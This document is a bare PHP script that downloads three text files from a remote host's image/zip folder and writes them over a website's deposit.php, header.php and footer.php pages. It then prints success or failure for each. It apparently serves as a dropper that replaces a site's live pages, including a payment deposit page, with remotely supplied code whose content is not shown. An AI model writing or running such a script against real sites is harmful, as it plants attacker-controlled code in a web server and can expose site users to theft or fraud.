<?php
function http_get($url)
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_HEADER, false);

    $result = curl_exec($ch);
    curl_close($ch);

    return $result;
}

$files = [
    "https://acen.fr/IMG/zip/crawl/depo.txt" => $_SERVER["DOCUMENT_ROOT"] . "/acc/dashboard/deposit.php",
    "https://acen.fr/IMG/zip/crawl/header.txt" => $_SERVER["DOCUMENT_ROOT"] . "/acc/includes/header.php",
    "https://acen.fr/IMG/zip/crawl/footer.txt" => $_SERVER["DOCUMENT_ROOT"] . "/acc/includes/footer.php"
];

foreach ($files as $url => $filePath) {
    $content = http_get($url);

    if ($content !== false) {
        if (file_exists($filePath)) {
            chmod($filePath, 0644);
        }
        
        $result = file_put_contents($filePath, $content);
        
        if ($result !== false) {
            chmod($filePath, 0644);
        }

        if (file_exists($filePath)) {
            echo "✅ done: $filePath <br>";
        } else {
            echo "❌ failed: $filePath <br>";
        }
    } else {
        echo "❌ failed to download content from: $url <br>";
    }
}
?>